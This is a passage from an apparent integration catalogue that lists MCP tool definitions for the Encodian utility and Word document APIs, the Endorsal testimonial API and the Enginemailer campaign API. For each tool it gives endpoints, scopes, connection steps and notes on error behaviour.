https://support.encodian.com/hc/en-gb/articles/9993904693660 via POST /api/v1/Utilities/ArrayReverseItems POST /api/v1/encodian/api/v1/Utilities/ArrayReverseItems. Scopes: api. encodian_post_api_v1_utilities_arraysortitems (write) — Sort the items in the JSON array provided - https://support.encodian.com/hc/en-gb/articles/14510233816092 via POST /api/v1/Utilities/ArraySortItems POST /api/v1/encodian/api/v1/Utilities/ArraySortItems. Scopes: api. encodian_post_api_v1_utilities_arraysplititems (write) — Split the Array provided by match value or index - https://support.encodian.com/hc/en-gb/articles/14508988206108 via POST /api/v1/Utilities/ArraySplitItems POST /api/v1/encodian/api/v1/Utilities/ArraySplitItems. Scopes: api. encodian_post_api_v1_utilities_calculatedate (write) — Calculate a date value by adding or subtracting a given period of time - https://support.encodian.com/hc/en-gb/articles/11311253860508 via POST /api/v1/Utilities/CalculateDate POST /api/v1/encodian/api/v1/Utilities/CalculateDate. Scopes: api. encodian_post_api_v1_utilities_cleanstring (write) — Remove invalid or specified characters from the text value provided - https://support.encodian.com/hc/en-gb/articles/10072015106077 via POST /api/v1/Utilities/CleanString POST /api/v1/encodian/api/v1/Utilities/CleanString. Scopes: api. encodian_post_api_v1_utilities_comparetext (write) — Compare the text values provided - https://support.encodian.com/hc/en-gb/articles/11782390540957 via POST /api/v1/Utilities/CompareText POST /api/v1/encodian/api/v1/Utilities/CompareText. Scopes: api. encodian_post_api_v1_utilities_concatenatetext (write) — Concatenate text values provided - https://support.encodian.com/hc/en-gb/articles/11873576674077 via POST /api/v1/Utilities/ConcatenateText POST /api/v1/encodian/api/v1/Utilities/ConcatenateText. Scopes: api. encodian_post_api_v1_utilities_convertjsontoxml (write) — Convert the JSON provided to XML - https://support.encodian.com/hc/en-gb/articles/14125966342428 via POST /api/v1/Utilities/ConvertJsonToXml POST /api/v1/encodian/api/v1/Utilities/ConvertJsonToXml. Scopes: api. encodian_post_api_v1_utilities_converttimezoneenc (write) — Convert the date and time value provided to another time zone - https://support.encodian.com/hc/en-gb/articles/11316002119196 via POST /api/v1/Utilities/ConvertTimeZoneEnc POST /api/v1/encodian/api/v1/Utilities/ConvertTimeZoneEnc. Scopes: api. encodian_post_api_v1_utilities_convertxmltojson (write) — Convert the XML provided to JSON - https://support.encodian.com/hc/en-gb/articles/14125831121948 via POST /api/v1/Utilities/ConvertXmlToJson POST /api/v1/encodian/api/v1/Utilities/ConvertXmlToJson. Scopes: api. encodian_post_api_v1_utilities_createguid (write) — Generate a new GUID - https://support.encodian.com/hc/en-gb/articles/9563119917597 via POST /api/v1/Utilities/CreateGuid POST /api/v1/encodian/api/v1/Utilities/CreateGuid. Scopes: api. encodian_post_api_v1_utilities_createhashcodev2 (write) — Create a hashcode for the string provided - https://support.encodian.com/hc/en-gb/articles/360013996077-Create-Hash-Code via POST /api/v1/Utilities/CreateHashCodeV2 POST /api/v1/encodian/api/v1/Utilities/CreateHashCodeV2. Scopes: api. encodian_post_api_v1_utilities_createhmacv2 (write) — Create a Hash-based message authentication code (HMAC) using a secret key - https://support.encodian.com/hc/en-gb/articles/360012782058-Create-HMAC via POST /api/v1/Utilities/CreateHMACV2 POST /api/v1/encodian/api/v1/Utilities/CreateHMACV2. Scopes: api. encodian_post_api_v1_utilities_createjwt (write) — Create a JSON Web Token (JWT) - https://support.encodian.com/hc/en-gb/articles/14501991985564 via POST /api/v1/Utilities/CreateJWT POST /api/v1/encodian/api/v1/Utilities/CreateJWT. Scopes: api. encodian_post_api_v1_utilities_creatersakeypair (write) — Creates an RSA key pair - https://support.encodian.com/hc/en-gb/articles/13955455670044 via POST /api/v1/Utilities/CreateRsaKeyPair POST /api/v1/encodian/api/v1/Utilities/CreateRsaKeyPair. Scopes: api. encodian_post_api_v1_utilities_escapehtml (write) — Escape the HTML value provided - https://support.encodian.com/hc/en-gb/articles/11749992433437 via POST /api/v1/Utilities/EscapeHtml POST /api/v1/encodian/api/v1/Utilities/EscapeHtml. Scopes: api. encodian_post_api_v1_utilities_extractalltextinstancesbetweenvalues (write) — Extract all text instances from a string between the two values provided - https://support.encodian.com/hc/en-gb/articles/11193212526108 via POST /api/v1/Utilities/ExtractAllTextInstancesBetweenValues POST /api/v1/encodian/api/v1/Utilities/ExtractAllTextInstancesBetweenValues. Scopes: api. encodian_post_api_v1_utilities_extractemailaddressesfromtext (write) — Extract email addresses from the text value provided - https://support.encodian.com/hc/en-gb/articles/10068475924253 via POST /api/v1/Utilities/ExtractEmailAddressesFromText POST /api/v1/encodian/api/v1/Utilities/ExtractEmailAddressesFromText. Scopes: api. encodian_post_api_v1_utilities_extracttextbetweenvalues (write) — Extract text from a string between the two values provided - https://support.encodian.com/hc/en-gb/articles/9604938273565 via POST /api/v1/Utilities/ExtractTextBetweenValues POST /api/v1/encodian/api/v1/Utilities/ExtractTextBetweenValues. Scopes: api. encodian_post_api_v1_utilities_extracturlsfromtext (write) — Extract URL's from the text value provided - https://support.encodian.com/hc/en-gb/articles/11056297407261 via POST /api/v1/Utilities/ExtractUrlsFromText POST /api/v1/encodian/api/v1/Utilities/ExtractUrlsFromText. Scopes: api. encodian_post_api_v1_utilities_formatdate (write) — Format the date value to the format configuration selected - https://support.encodian.com/hc/en-gb/articles/11053469626525 via POST /api/v1/Utilities/FormatDate POST /api/v1/encodian/api/v1/Utilities/FormatDate. Scopes: api. encodian_post_api_v1_utilities_formattextcase (write) — Set the case of the text (string) provided - https://support.encodian.com/hc/en-gb/articles/11009856518557 via POST /api/v1/Utilities/FormatTextCase POST /api/v1/encodian/api/v1/Utilities/FormatTextCase. Scopes: api. encodian_post_api_v1_utilities_generatepassword (write) — Create a password conforming to the specified configuration - https://support.encodian.com/hc/en-gb/articles/10720449877789 via POST /api/v1/Utilities/GeneratePassword POST /api/v1/encodian/api/v1/Utilities/GeneratePassword. Scopes: api. encodian_post_api_v1_utilities_generaterandomnumber (write) — Generate a random number conforming to the configuration supplied - https://support.encodian.com/hc/en-gb/articles/10641115110045 via POST /api/v1/Utilities/GenerateRandomNumber POST /api/v1/encodian/api/v1/Utilities/GenerateRandomNumber. Scopes: api. encodian_post_api_v1_utilities_getdatetimedifference (write) — Calculate the difference between two dates and times - https://support.encodian.com/hc/en-gb/articles/11753070117661 via POST /api/v1/Utilities/GetDateTimeDifference POST /api/v1/encodian/api/v1/Utilities/GetDateTimeDifference. Scopes: api. encodian_post_api_v1_utilities_getfileextension (write) — Get the File Extension for the filaname provided - https://support.encodian.com/hc/en-gb/articles/10931474896797 via POST /api/v1/Utilities/GetFileExtension POST /api/v1/encodian/api/v1/Utilities/GetFileExtension. Scopes: api. encodian_post_api_v1_utilities_getfileformat (write) — Get the File Format from the file - https://support.encodian.com/hc/en-gb/articles/25705325536540 via POST /api/v1/Utilities/GetFileFormat POST /api/v1/encodian/api/v1/Utilities/GetFileFormat. Scopes: api. encodian_post_api_v1_utilities_parsehtmltable (write) — Parse a table contained within the HTML provided to JSON - https://support.encodian.com/hc/en-gb/articles/11505625014685 via POST /api/v1/Utilities/ParseHtmlTable POST /api/v1/encodian/api/v1/Utilities/ParseHtmlTable. Scopes: api. encodian_post_api_v1_utilities_regexsearchtextv2 (write) — Search the text provided to find matches using the regex provided - https://support.encodian.com/hc/en-gb/articles/360006764638-Search-Text-Regex via POST /api/v1/Utilities/RegexSearchTextV2 POST /api/v1/encodian/api/v1/Utilities/RegexSearchTextV2. Scopes: api. encodian_post_api_v1_utilities_removediacritics (write) — Remove diacritic marks from the text provided - https://support.encodian.com/hc/en-gb/articles/11774131045661 via POST /api/v1/Utilities/RemoveDiacritics POST /api/v1/encodian/api/v1/Utilities/RemoveDiacritics. Scopes: api. encodian_post_api_v1_utilities_removetextbetweenvalues (write) — Remove text from a string between the two values provided - https://support.encodian.com/hc/en-gb/articles/10003667972892 via POST /api/v1/Utilities/RemoveTextBetweenValues POST /api/v1/encodian/api/v1/Utilities/RemoveTextBetweenValues. Scopes: api. encodian_post_api_v1_utilities_removewhitespacefromtext (write) — Remove whitespace from the text provided - https://support.encodian.com/hc/en-gb/articles/23853140876316 via POST /api/v1/Utilities/RemoveWhitespaceFromText POST /api/v1/encodian/api/v1/Utilities/RemoveWhitespaceFromText. Scopes: api. encodian_post_api_v1_utilities_replacevaluewithregex (write) — Replace a value within the text provided using a regex query - https://support.encodian.com/hc/en-gb/articles/11743215056413 via POST /api/v1/Utilities/ReplaceValueWithRegex POST /api/v1/encodian/api/v1/Utilities/ReplaceValueWithRegex. Scopes: api. encodian_post_api_v1_utilities_replacevaluewithtext (write) — Replace a value within the text provided - https://support.encodian.com/hc/en-gb/articles/11774858455709 via POST /api/v1/Utilities/ReplaceValueWithText POST /api/v1/encodian/api/v1/Utilities/ReplaceValueWithText. Scopes: api. encodian_post_api_v1_utilities_rsadecryption (write) — Decrypts an RSA encrypted string using RSA decryption - https://support.encodian.com/hc/en-gb/articles/13727862311580 via POST /api/v1/Utilities/RsaDecryption POST /api/v1/encodian/api/v1/Utilities/RsaDecryption. Scopes: api. encodian_post_api_v1_utilities_rsaencryption (write) — Encrypts a plain text value (string) using RSA encryption - https://support.encodian.com/hc/en-gb/articles/13727847862300 via POST /api/v1/Utilities/RsaEncryption POST /api/v1/encodian/api/v1/Utilities/RsaEncryption. Scopes: api. encodian_post_api_v1_utilities_sendhttprequest (write) — Send a HTTP request - https://support.encodian.com/hc/en-gb/articles/16406019227036/ via POST /api/v1/Utilities/SendHttpRequest POST /api/v1/encodian/api/v1/Utilities/SendHttpRequest. Scopes: api. encodian_post_api_v1_utilities_splittext (write) — Split the text provided using the set delimiter - https://support.encodian.com/hc/en-gb/articles/11846521179805 via POST /api/v1/Utilities/SplitText POST /api/v1/encodian/api/v1/Utilities/SplitText. Scopes: api. encodian_post_api_v1_utilities_splittextviaregex (write) — Split the text provided using a Regular Expression - https://support.encodian.com/hc/en-gb/articles/15301886951324 via POST /api/v1/Utilities/SplitTextViaRegex POST /api/v1/encodian/api/v1/Utilities/SplitTextViaRegex. Scopes: api. encodian_post_api_v1_utilities_textcontainsvalue (write) — Check whether the text value provided contains a specified text value - https://support.encodian.com/hc/en-gb/articles/10515175130012/ via POST /api/v1/Utilities/TextContainsValue POST /api/v1/encodian/api/v1/Utilities/TextContainsValue. Scopes: api. encodian_post_api_v1_utilities_trimtext (write) — Trim the text value provided aligined to the set configuration - https://support.encodian.com/hc/en-gb/articles/11769860640413 via POST /api/v1/Utilities/TrimText POST /api/v1/encodian/api/v1/Utilities/TrimText. Scopes: api. encodian_post_api_v1_utilities_unescapehtml (write) — Unescape the HTML value provided - https://support.encodian.com/hc/en-gb/articles/11751174595357 via POST /api/v1/Utilities/UnescapeHtml POST /api/v1/encodian/api/v1/Utilities/UnescapeHtml. Scopes: api. encodian_post_api_v1_utilities_validateemailaddress (write) — Validate the email address provided - https://support.encodian.com/hc/en-gb/articles/9588817792925 via POST /api/v1/Utilities/ValidateEmailAddress POST /api/v1/encodian/api/v1/Utilities/ValidateEmailAddress. Scopes: api. encodian_post_api_v1_utilities_validateguid (write) — Validate whether the GUID provided is valid - https://support.encodian.com/hc/en-gb/articles/9601440603421 via POST /api/v1/Utilities/ValidateGuid POST /api/v1/encodian/api/v1/Utilities/ValidateGuid. Scopes: api. encodian_post_api_v1_utilities_validatejson (write) — Validate the JSON data provided, optionally against a set schema - https://support.encodian.com/hc/en-gb/articles/12722049993500 via POST /api/v1/Utilities/ValidateJson POST /api/v1/encodian/api/v1/Utilities/ValidateJson. Scopes: api. encodian_post_api_v1_utilities_validateurlavailability (write) — Validate whether the URL provided is available - https://support.encodian.com/hc/en-gb/articles/9224582350365 via POST /api/v1/Utilities/ValidateUrlAvailability POST /api/v1/encodian/api/v1/Utilities/ValidateUrlAvailability. Scopes: api. encodian_post_api_v1_utilities_validateurlsyntax (write) — Validate whether the URL provided has valid syntax - https://support.encodian.com/hc/en-gb/articles/9601816944413 via POST /api/v1/Utilities/ValidateUrlSyntax POST /api/v1/encodian/api/v1/Utilities/ValidateUrlSyntax. Scopes: api. encodian_post_api_v1_word_addhtmlheaderfooterword (write) — Add HTML headers and/or footers to the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/11348579020572 via POST /api/v1/Word/AddHtmlHeaderFooterWord POST /api/v1/encodian/api/v1/Word/AddHtmlHeaderFooterWord. Scopes: api. encodian_post_api_v1_word_addimagewatermarkword (write) — Add an image watermark to the specified Microsoft Word document - https://support.encodian.com/hc/en-gb/articles/4411329161361 via POST /api/v1/Word/AddImageWatermarkWord POST /api/v1/encodian/api/v1/Word/AddImageWatermarkWord. Scopes: api. encodian_post_api_v1_word_addtextwatermarkword (write) — Add a text watermark to the specified Microsoft Word document - https://support.encodian.com/hc/en-gb/articles/4411284008593 via POST /api/v1/Word/AddTextWatermarkWord POST /api/v1/encodian/api/v1/Word/AddTextWatermarkWord. Scopes: api. encodian_post_api_v1_word_compareworddocuments (write) — Compare differences between Microsoft Word Documents - https://support.encodian.com/hc/en-gb/articles/360018576278-Compare-Word-Documents via POST /api/v1/Word/CompareWordDocuments POST /api/v1/encodian/api/v1/Word/CompareWordDocuments. Scopes: api. encodian_post_api_v1_word_deletewordpages (write) — Delete specified pages from the Microsoft Word file provided - https://support.encodian.com/hc/en-gb/articles/14903494355996 via POST /api/v1/Word/DeleteWordPages POST /api/v1/encodian/api/v1/Word/DeleteWordPages. Scopes: api. encodian_post_api_v1_word_disabletrackedchanges (write) — Disable tracked changes on the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/6695370804125 via POST /api/v1/Word/DisableTrackedChanges POST /api/v1/encodian/api/v1/Word/DisableTrackedChanges. Scopes: api. encodian_post_api_v1_word_enabletrackedchanges (write) — Enable tracked changes on the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/6695385009053 via POST /api/v1/Word/EnableTrackedChanges POST /api/v1/encodian/api/v1/Word/EnableTrackedChanges. Scopes: api. encodian_post_api_v1_word_extractwordpages (write) — Extract specified pages from the Microsoft Word file provided - https://support.encodian.com/hc/en-gb/articles/14902696561948 via POST /api/v1/Word/ExtractWordPages POST /api/v1/encodian/api/v1/Word/ExtractWordPages. Scopes: api. encodian_post_api_v1_word_gettextfromword (write) — Extract text contained within the Microsoft Word file provided - https://support.encodian.com/hc/en-gb/articles/10583756977180 via POST /api/v1/Word/GetTextFromWord POST /api/v1/encodian/api/v1/Word/GetTextFromWord. Scopes: api. encodian_post_api_v1_word_gettrackedchanges (write) — Extract all the tracked changes (Revisions and comments) for the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/6634950400669 via POST /api/v1/Word/GetTrackedChanges POST /api/v1/encodian/api/v1/Word/GetTrackedChanges. Scopes: api. encodian_post_api_v1_word_managetrackedchanges (write) — Process Tracked Changes within the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/10074318228765 via POST /api/v1/Word/ManageTrackedChanges POST /api/v1/encodian/api/v1/Word/ManageTrackedChanges. Scopes: api. encodian_post_api_v1_word_mergearrayofdocumentstoword (write) — Merge an array of Microsoft Word documents to a single Microsoft Word document (DOCX) - https://support.encodian.com/hc/en-gb/articles/360023972213-Merge-document-array-to-Word via POST /api/v1/Word/MergeArrayOfDocumentsToWord POST /api/v1/encodian/api/v1/Word/MergeArrayOfDocumentsToWord. Scopes: api. encodian_post_api_v1_word_optimiseworddocument (write) — Optimise a Microsoft Word Document - https://support.encodian.com/hc/en-gb/articles/15275076156700 via POST /api/v1/Word/OptimiseWordDocument POST /api/v1/encodian/api/v1/Word/OptimiseWordDocument. Scopes: api. encodian_post_api_v1_word_populateworddocument (write) — Populate a Microsoft Word Document (DOCX) with the JSON data provided - https://support.encodian.com/hc/en-gb/articles/360019620578-Populate-Word-Document via POST /api/v1/Word/PopulateWordDocument POST /api/v1/encodian/api/v1/Word/PopulateWordDocument. Scopes: api. encodian_post_api_v1_word_removeheaderfooterword (write) — Remove headers and/or footers from the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/11349707504540 via POST /api/v1/Word/RemoveHeaderFooterWord POST /api/v1/encodian/api/v1/Word/RemoveHeaderFooterWord. Scopes: api. encodian_post_api_v1_word_removewatermarksfromword (write) — Remove the watermark from the Word file provided - https://support.encodian.com/hc/en-gb/articles/7752587767965 via POST /api/v1/Word/RemoveWatermarksFromWord POST /api/v1/encodian/api/v1/Word/RemoveWatermarksFromWord. Scopes: api. encodian_post_api_v1_word_removewordtableofcontents (write) — Remove the 'Table of Contents' from the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/14544663512860 via POST /api/v1/Word/RemoveWordTableOfContents POST /api/v1/encodian/api/v1/Word/RemoveWordTableOfContents. Scopes: api. encodian_post_api_v1_word_searchandreplacehyperlink (write) — Find and update hyperlinks contained within a Microsoft Word document - https://support.encodian.com/hc/en-gb/articles/7136687719837 via POST /api/v1/Word/SearchAndReplaceHyperlink POST /api/v1/encodian/api/v1/Word/SearchAndReplaceHyperlink. Scopes: api. encodian_post_api_v1_word_secureworddocument (write) — Secure and protect a Microsoft Word document - https://support.encodian.com/hc/en-gb/articles/6634150180253 via POST /api/v1/Word/SecureWordDocument POST /api/v1/encodian/api/v1/Word/SecureWordDocument. Scopes: api. encodian_post_api_v1_word_splitworddocument (write) — Split the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/14575340646940 via POST /api/v1/Word/SplitWordDocument POST /api/v1/encodian/api/v1/Word/SplitWordDocument. Scopes: api. encodian_post_api_v1_word_updatewordtableofcontents (write) — Update the 'Table of Contents' in the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/10594864447260 via POST /api/v1/Word/UpdateWordTableOfContents POST /api/v1/encodian/api/v1/Word/UpdateWordTableOfContents. Scopes: api. encodian_post_api_v1_word_wordaddpagenumbers (write) — Adds page numbers using the specified format to the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/22709447020444 via POST /api/v1/Word/WordAddPageNumbers POST /api/v1/encodian/api/v1/Word/WordAddPageNumbers. Scopes: api. encodian_post_api_v1_word_wordextractfielddata (write) — Extract field data from the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/24109661494044 via POST /api/v1/Word/WordExtractFieldData POST /api/v1/encodian/api/v1/Word/WordExtractFieldData. Scopes: api. encodian_post_api_v1_word_wordextractfiles (write) — Extract files from the Microsoft Word file provided - https://support.encodian.com/hc/en-gb/articles/22255231258524 via POST /api/v1/Word/WordExtractFiles POST /api/v1/encodian/api/v1/Word/WordExtractFiles. Scopes: api. encodian_post_api_v1_word_wordextractimages (write) — Extract specified images from the Microsoft Word file provided - https://support.encodian.com/hc/en-gb/articles/15433980042908 via POST /api/v1/Word/WordExtractImages POST /api/v1/encodian/api/v1/Word/WordExtractImages. Scopes: api. encodian_post_api_v1_word_wordextractmetadata (write) — Extract Microsoft Word metadata and related information - https://support.encodian.com/hc/en-gb/articles/18211067662492 via POST /api/v1/Word/WordExtractMetadata POST /api/v1/encodian/api/v1/Word/WordExtractMetadata. Scopes: api. encodian_post_api_v1_word_wordinserttext (write) — Insert text at a specified location/element within a Microsoft Word document via POST /api/v1/Word/WordInsertText POST /api/v1/encodian/api/v1/Word/WordInsertText. Scopes: api. encodian_post_api_v1_word_wordreplacetextwithimage (write) — Find and replace text contained within a Word document with an image - https://support.encodian.com/hc/en-gb/articles/15089626493340 via POST /api/v1/Word/WordReplaceTextWithImage POST /api/v1/encodian/api/v1/Word/WordReplaceTextWithImage. Scopes: api. encodian_post_api_v1_word_wordsearchandreplacetext (write) — Find and replace text contained within a Microsoft Word document - https://support.encodian.com/hc/en-gb/articles/15949925002268 via POST /api/v1/Word/WordSearchAndReplaceText POST /api/v1/encodian/api/v1/Word/WordSearchAndReplaceText. Scopes: api. encodian_post_api_v1_word_wordsetmetadata (write) — Set the metadata of the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/15942705445788 via POST /api/v1/Word/WordSetMetadata POST /api/v1/encodian/api/v1/Word/WordSetMetadata. Scopes: api. encodian_post_api_v1_word_wordsplitbytext (write) — Split the Microsoft Word document provided by the text value specified - https://support.encodian.com/hc/en-gb/articles/25348230483740 via POST /api/v1/Word/WordSplitByText POST /api/v1/encodian/api/v1/Word/WordSplitByText. Scopes: api. encodian_post_api_v1_word_wordunlock (write) — Remove applied security and protection from the Microsoft Word document provided - https://support.encodian.com/hc/en-gb/articles/19367982647068 via POST /api/v1/Word/WordUnlock POST /api/v1/encodian/api/v1/Word/WordUnlock. Scopes: api. ================================================================================ ## Endorsal URL: https://www.agenticfabriq.com/integrations/endorsal Section: Integrated Tools Endorsal — 10 MCP tools Provider key: endorsal. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. endorsal_get_v1_contacts (read) — List the contacts on this connection's Endorsal property -- the customers a testimonial request can be sent to -- each with their name, email and the tags applied to them via GET /v1/contacts GET /api/v1/endorsal/v1/contacts. Scopes: api. endorsal_get_v1_contacts_by_id (read) — Fetch one contact by id, with their profile fields and tags. An id that is not on this property answers 200 with an empty `data` object rather than a 404. The id must be a 24-character hex ObjectId via GET /v1/contacts/{id} GET /api/v1/endorsal/v1/contacts/{id}. Scopes: api. endorsal_get_v1_contacts_by_id_testimonials (read) — List every testimonial this one contact has left. This is the way to check whether a customer has already responded before sending another request; the contact id comes from the List contacts tool via GET /v1/contacts/{id}/testimonials GET /api/v1/endorsal/v1/contacts/{id}/testimonials. Scopes: api. endorsal_get_v1_properties (read) — List the Endorsal properties this token reaches. It returns exactly ONE: an Endorsal API token is minted against a single property and carries its id in the token itself, so a tenant with several properties needs a separate connection and a separate token for each. Use this tool to confirm which property a connection is actually pointed at via GET /v1/properties GET /api/v1/endorsal/v1/properties. Scopes: api. endorsal_get_v1_properties_by_id (read) — Fetch one property's settings -- its name, domain, rating configuration and branding. Only this connection's own property can be read: any other id answers 200 with `{"success": false, "error": "Invalid credentials"}`, which is Endorsal saying the property is not the one this token was issued for rather than that the token is bad via GET /v1/properties/{id} GET /api/v1/endorsal/v1/properties/{id}. Scopes: api. endorsal_get_v1_tags (read) — List the tags defined on this property. Tags are how contacts are segmented for testimonial campaigns, so this is the vocabulary the contact records draw from via GET /v1/tags GET /api/v1/endorsal/v1/tags. Scopes: api. endorsal_get_v1_testimonials (read) — List the testimonials collected for this connection's Endorsal property, each with its author, rating, body text and current status. An Endorsal API token is issued against ONE property, so this returns that property's testimonials and not the whole account's via GET /v1/testimonials GET /api/v1/endorsal/v1/testimonials. Scopes: api. endorsal_get_v1_testimonials_by_id (read) — Fetch one testimonial by its id. Endorsal answers 200 with `{"success": false, "error": "No testimonial found matching that ID"}` rather than a 404 when the id is unknown, so read `success` and not the status code. The id must be a 24-character hex ObjectId; any other shape answers 500 from Endorsal's own id parser via GET /v1/testimonials/{id} GET /api/v1/endorsal/v1/testimonials/{id}. Scopes: api. endorsal_get_v1_widgets (read) — List the display widgets configured on this property -- the carousels, walls and badges that publish collected testimonials on a website -- each with its id, type and configuration via GET /v1/widgets GET /api/v1/endorsal/v1/widgets. Scopes: api. endorsal_get_v1_widgets_by_id (read) — Fetch one widget's full configuration by id. An id that is not on this property answers 200 with an empty `data` object rather than a 404 via GET /v1/widgets/{id} GET /api/v1/endorsal/v1/widgets/{id}. Scopes: api. ================================================================================ ## Enginemailer URL: https://www.agenticfabriq.com/integrations/enginemailer Section: Integrated Tools Enginemailer — 25 MCP tools Provider key: enginemailer. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. enginemailer_get_restapi_campaign_emcampaign_deletecampaign (write, destructive) — Delete Campaign via GET /restapi/campaign/emcampaign/DeleteCampaign. Deleting undelivered campaign. Please note of the following before starting use this function Scheduled, delivering, delivered campaign is not able to perform the deleting. This function will not work when the campaign is inserting / deleting the recipient list. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/DeleteCampaign. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_deleterecipientlist (write, destructive) — Delete Recipient List via GET /restapi/campaign/emcampaign/deleteRecipientList. Delete existing recipient list from the targeted campaign. Please note of the following before starting use this function Scheduled, delivering, delivered campaign is not able to perform the deleting. This function will not work when the campaign is inserting / deleting the recipient list. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/deleteRecipientList. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_getcategorylist (read) — Get Category List via GET /restapi/campaign/emcampaign/GetCategoryList. Get a list of category. No parameter is required Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/GetCategoryList. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_getsubcategorylist (read) — Get Sub Category List via GET /restapi/campaign/emcampaign/GetSubCategoryList. Get a list of subcategory based on the category ID Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/GetSubCategoryList. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_listcampaign (read) — List Campaign via GET /restapi/campaign/emcampaign/ListCampaign. Get a list of undelivered campaigns. No parameter is required Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/ListCampaign. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_pausecampaign (write) — Pause Campaign via GET /restapi/campaign/emcampaign/PauseCampaign. Pause the campaign from a scheduled campaign. Please note of the following before starting use this function Only scheduled without delivering campaign is able to perform the pause for the campaign Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/PauseCampaign. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_schedulecampaign (write) — Schedule Campaign via GET /restapi/campaign/emcampaign/ScheduleCampaign. Schedule the campaign. Please note of the following before starting use this function Scheduled, delivering, delivered campaign is not able to perform the scheduling. This function will not work when the campaign is deleting the recipient list. The campaign must at least have one recipient to deliver the campaign. Schedule Date must not be a passed date. Schedule Date must follow the standard of scheduling in the portal. It must be in the interval of 15 minutes. For g., 12:00, 12:15, 12:30, 12:45, others format of the schedule time will be rejected. Insufficient credit will flag the scheduled campaign as “failed” and campaign will not send at the scheduled time. Failed campaign can be edited and resend from the portal. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/ScheduleCampaign. Scopes: api. enginemailer_get_restapi_campaign_emcampaign_sendcampaign (write) — Send Campaign via GET /restapi/campaign/emcampaign/SendCampaign. Send the campaign. Please note of the following before starting use this function Scheduled, delivering, delivered campaign is not able to perform the sending. This function will not work when the campaign is deleting the recipient list. The campaign must at least have one recipient to deliver the campaign. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). GET /api/v1/enginemailer/restapi/campaign/emcampaign/SendCampaign. Scopes: api. enginemailer_get_restapi_subscriber_emsubscriber_getcustomfield (read) — Get Custom Field via GET /restapi/subscriber/emsubscriber/getCustomField. Get Custom Field List. GET /api/v1/enginemailer/restapi/subscriber/emsubscriber/getCustomField. Scopes: api. enginemailer_get_restapi_subscriber_emsubscriber_getsubcategory (read) — Get Sub Category via GET /restapi/subscriber/emsubscriber/getSubCategory. Get Sub Category List. GET 